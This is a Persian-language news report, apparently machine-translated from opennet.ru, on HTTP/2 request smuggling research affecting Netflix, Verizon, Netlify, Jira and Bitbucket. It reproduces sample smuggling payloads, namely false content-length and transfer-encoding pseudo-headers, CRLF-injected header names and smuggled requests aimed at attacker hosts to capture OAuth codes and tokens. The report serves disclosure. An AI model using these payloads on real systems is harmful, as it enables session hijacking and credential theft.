سیستمهای وب که در آن بخش جلویی اتصالات را از طریق HTTP/2 میپذیرد و آنها را از طریق HTTP/1.1 به پشتیبان منتقل میکند، در معرض نوع جدیدی از حمله «قاچاق درخواست HTTP» قرار گرفتهاند که با ارسال درخواستهای مشتری طراحی شده خاص، به به محتوای درخواستهای سایر کاربران که در جریان یکسانی بین فرانتاند و باطن پردازش میشوند، فرو رود. از این حمله می توان برای وارد کردن کدهای جاوا اسکریپت مخرب در یک جلسه با یک وب سایت قانونی، دور زدن سیستم های محدودیت دسترسی و رهگیری پارامترهای احراز هویت استفاده کرد.
این مشکل بر پروکسیهای وب، متعادلکنندههای بار، شتابدهندههای وب، سیستمهای تحویل محتوا و سایر پیکربندیها تأثیر میگذارد که در آن درخواستها به صورت جلویی به پشتیبان هدایت میشوند. نویسنده این مطالعه امکان حمله به سیستمهای Netflix، Verizon، Bitbucket، Netlify CDN و Atlassian را نشان داد و 56 هزار دلار برنامه پاداش برای شناسایی آسیبپذیریها دریافت کرد. این مشکل در محصولات شبکه F5 نیز تایید شده است. مشکل تا حدی بر mod_proxy در سرور Apache http (CVE-2021-33193) تأثیر می گذارد، در نسخه 2.4.49 مورد انتظار است (توسعه دهندگان از مشکل در اوایل ماه مه مطلع شدند و 3 ماه فرصت داده شد تا آن را برطرف کنند). در nginx، توانایی تعیین همزمان هدرهای "Content-Length" و "Transfer-Encoding" در آخرین نسخه (1.21.1) مسدود شد. ابزارهای حمله قبلاً در جعبه ابزار Burp گنجانده شده اند و به شکل پسوند Turbo Intruder در دسترس هستند.
اصل عملکرد روش جدید تعبیه درخواستها در ترافیک مشابه آسیبپذیری است که توسط همان محقق دو سال پیش شناسایی شد، اما محدود به فرانتاندهایی است که درخواستها را از طریق HTTP/1.1 میپذیرند. بیایید به یاد بیاوریم که در طرح frontend-backend، درخواست های مشتری توسط یک گره اضافی دریافت می شود - فرانت اند، که یک اتصال طولانی مدت TCP را با باطن ایجاد می کند، که مستقیماً درخواست ها را پردازش می کند. از طریق این اتصال مشترک، درخواستهای کاربران مختلف معمولاً منتقل میشوند که زنجیرهای را یکی پس از دیگری دنبال میکنند و با استفاده از پروتکل HTTP از هم جدا میشوند.
حمله کلاسیک «قاچاق درخواست HTTP» بر این واقعیت استوار بود که فرانتاندها و بکاندها استفاده از هدرهای HTTP «طول محتوا» (اندازه کل دادهها را در درخواست تعیین میکند) و «انتقال-رمزگذاری: تکهشده» (اجازه میدهد) را تفسیر میکنند. داده ها به صورت قطعات مختلف منتقل می شوند. به عنوان مثال، اگر فرانت اند فقط از "Content-Length" پشتیبانی می کند اما "Transfer-Encoding: chunked" را نادیده می گیرد، مهاجم می تواند درخواستی را ارسال کند که شامل سرصفحه های "Content-Length" و "Transfer-Encoding: chunked" باشد، اما اندازه "طول محتوا" با اندازه زنجیره تکه شده مطابقت ندارد. در این حالت، فرانتاند درخواست را مطابق با «طول محتوا» پردازش و هدایت میکند، و بخش پشتیبان برای تکمیل بلوک بر اساس «انتقال-رمزگذاری: تکهشده» منتظر میماند و دم باقیمانده از درخواست مهاجم خواهد بود. در ابتدای درخواست شخص دیگری باشد که در مرحله بعدی ارسال می شود.
برخلاف پروتکل متنی HTTP/1.1 که در سطح خط تجزیه میشود، HTTP/2 یک پروتکل باینری است و بلوکهای داده با اندازه از پیش تعیین شده را دستکاری میکند. با این حال، HTTP/2 از شبه هدرهایی استفاده می کند که با هدرهای HTTP معمولی مطابقت دارند. در مورد تعامل با backend از طریق پروتکل HTTP/1.1، frontend این شبه هدرها را به هدرهای HTTP مشابه HTTP/1.1 ترجمه می کند. مشکل این است که بخش پشتیبان بدون داشتن اطلاعاتی در مورد پارامترهای درخواست اصلی، در مورد تجزیه جریان بر اساس هدرهای HTTP تنظیم شده توسط frontend تصمیم می گیرد.
به طور خاص، مقادیر "طول محتوا" و "انتقال-رمزگذاری" را می توان به شکل شبه سرصفحه ها منتقل کرد، علیرغم این واقعیت که آنها در HTTP/2 استفاده نمی شوند، زیرا اندازه همه داده ها تعیین می شود. در یک زمینه جداگانه با این حال، در طول فرآیند تبدیل درخواست HTTP/2 به HTTP/1.1، این هدرها منتقل می شوند و می توانند باطن را گیج کنند. دو نوع حمله اصلی وجود دارد: H2.TE و H2.CL، که در آنها backend توسط یک مقدار نادرست انتقال رمزگذاری یا طول محتوا گمراه می شود که با اندازه واقعی بدنه درخواست دریافت شده توسط frontend از طریق پروتکل HTTP/2.
یک مثال از حمله H2.CL این است که هنگام ارسال درخواست HTTP/2 به Netflix، اندازه نادرست در شبه سربرگ طول محتوا مشخص شود. این درخواست منجر به اضافه شدن یک هدر HTTP مشابه Content-Length هنگام دسترسی به پشتیبان از طریق HTTP/1.1 می شود، اما از آنجایی که اندازه در Content-Length کمتر از اندازه واقعی مشخص شده است، بخشی از داده های موجود در دم به عنوان آغاز درخواست بعدی
به عنوان مثال، درخواست HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 میزبان: 02.rs?x.netflix.com Foo: bar
منجر به ارسال درخواست به پشتیبان می شود: POST /n HTTP/1.1 میزبان: www.netflix.com طول محتوا: 4 abcdGET /n HTTP/1.1 میزبان: 02.rs?x.netflix.com Foo: bar
از آنجایی که Content-Length مقدار 4 دارد، backend فقط "abcd" را به عنوان متن درخواست می پذیرد و بقیه "GET /n HTTP/1.1..." به عنوان آغاز درخواست بعدی پردازش می شود. مرتبط با کاربر دیگری بر این اساس، جریان غیرهمگام شده و در پاسخ به درخواست بعدی، نتیجه پردازش درخواست ساختگی صادر خواهد شد. در مورد نتفلیکس، مشخص کردن یک میزبان شخص ثالث در هدر "Host:" در یک درخواست ساختگی منجر به این شد که مشتری پاسخ "مکان: https://02.rs?x.netflix.com/n" را برگرداند و اجازه می دهد تا محتوای دلخواه به مشتری ارسال شود، از جمله کد جاوا اسکریپت خود را در زمینه سایت Netflix اجرا کنید.
گزینه حمله دوم (H2.TE) شامل جایگزینی هدر "Transfer-Encoding: chunked" است. استفاده از شبه سربرگ رمزگذاری انتقال در HTTP/2 توسط مشخصات ممنوع است و درخواستهای همراه با آن به عنوان نادرست تلقی میشوند. با وجود این، برخی از پیادهسازیهای frontend این نیاز را در نظر نمیگیرند و اجازه استفاده از یک شبه سربرگ رمزگذاری انتقال در HTTP/2 را میدهند که به یک هدر HTTP مشابه تبدیل میشود. اگر هدر «انتقال-رمزگذاری» وجود داشته باشد، بخش پشتیبان میتواند آن را به عنوان اولویت بالاتری در نظر بگیرد و دادهها را در حالت «تکهای» با استفاده از بلوکهایی با اندازههای مختلف در قالب «{size}\r\n{block» تجزیه و تحلیل کند. }\r\n{size} \r\n{block}\r\n0"، با وجود تقسیم اولیه بر اندازه کلی.
وجود چنین شکافی با مثال Verizon نشان داده شد. مشکل مربوط به پورتال احراز هویت و سیستم مدیریت محتوا بود که در سایت هایی مانند Huffington Post و Engadget نیز استفاده می شود. به عنوان مثال، یک درخواست مشتری از طریق HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com رمزگذاری انتقال تکه تکه شد 0 GET /oops HTTP/1.1 میزبان: psres.net Content-Length: 10 x=
منجر به ارسال یک درخواست HTTP/1.1 به پشتیبان شد: POST /identity/XUI HTTP/1.1 میزبان: id.b2b.oath.com طول محتوا: 66 انتقال-رمزگذاری: قطعه قطعه شده 0 GET /oops HTTP/1.1 میزبان: psres. محتوای خالص - طول: 10x =
باطن، به نوبه خود، سرصفحه «طول محتوا» را نادیده گرفت و تقسیمبندی درون جریانی را براساس «انتقال-رمزگذاری: تکهشده» انجام داد. در عمل، این حمله امکان هدایت مجدد درخواستهای کاربر را به وبسایت خود، از جمله رهگیری درخواستهای مربوط به احراز هویت OAuth، که پارامترهای آن در هدر Referer نمایش داده میشد، و همچنین شبیهسازی جلسه احراز هویت و فعال کردن سیستم کاربر برای ارسال اعتبار را ممکن کرد. به میزبان مهاجم GET /b2blanding/show/oops HTTP/1.1 میزبان: psres.net ارجاع دهنده: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 میزبان: psres.net مجوز: حامل eyJhcGwiOiJIUzI1Gi1Ci6s
برای حمله به پیادهسازیهای HTTP/2 که اجازه نمیدهند شبه سربرگ رمزگذاری انتقال مشخص شود، روش دیگری پیشنهاد شده است که شامل جایگزین کردن سرصفحه Transfer-Encoding با پیوست کردن آن به شبه سرصفحههای دیگر جدا شده توسط یک کاراکتر خط جدید است. هنگامی که به HTTP/1.1 تبدیل می شود، در این حالت دو هدر HTTP جداگانه ایجاد می شود.
به عنوان مثال، Atlassian Jira و Netlify CDN (که برای ارائه صفحه شروع موزیلا در فایرفاکس استفاده می شود) تحت تأثیر این مشکل قرار گرفتند. به طور خاص، درخواست HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n رمزگذاری انتقال: قطعه قطعه شده 0\r\n \r\n GET / HTTP/1.1\r\n میزبان : evil-netlify-domain\r\n طول محتوا: 5\r\n \r\nx=
منجر به ارسال درخواست HTTP/1.1 POST / HTTP/1.1 به باطن شد\r\n میزبان: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n میزبان: evil-netlify-domain\r\n طول محتوا: 5\r\n \r \nx=
گزینه دیگری برای جایگزینی هدر "Transfer-Encoding" این بود که آن را به نام شبه سرصفحه دیگری یا به خطی با روش درخواست پیوست کنید. به عنوان مثال، هنگام دسترسی به Atlassian Jira، نام شبه سرصفحه "foo: bar\r\ntransfer-encoding" با مقدار "chunked" باعث شد که هدرهای HTTP "foo: bar" و "transfer-encoding: chunked" اضافه شوند. ، و با تعیین مقدار شبه سرصفحه ":method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" به "GET / HTTP/1.1\r\ntransfer-encoding: chunked" ترجمه شد.
محققی که مشکل را شناسایی کرد، همچنین یک تکنیک تونل زنی درخواست برای حمله به فرانتاندها پیشنهاد کرد، که در آن هر آدرس IP یک اتصال جداگانه به باطن ایجاد میکند و ترافیک کاربران مختلف مخلوط نمیشود. تکنیک پیشنهادی اجازه تداخل با درخواستهای سایر کاربران را نمیدهد، اما امکان مسموم کردن یک حافظه پنهان مشترک را فراهم میکند که بر پردازش سایر درخواستها تأثیر میگذارد و اجازه میدهد تا سربرگهای HTTP داخلی که برای انتقال اطلاعات سرویس از فرانتاند به باطن استفاده میشوند، جایگزین شوند. به عنوان مثال، هنگام احراز هویت در سمت جلویی در چنین هدرهایی می توانند اطلاعات کاربر فعلی را به باطن منتقل کنند). به عنوان نمونه ای از اعمال روش در عمل، با استفاده از مسمومیت کش، کنترل صفحات در سرویس Bitbucket امکان پذیر شد.
منبع: opennet.ru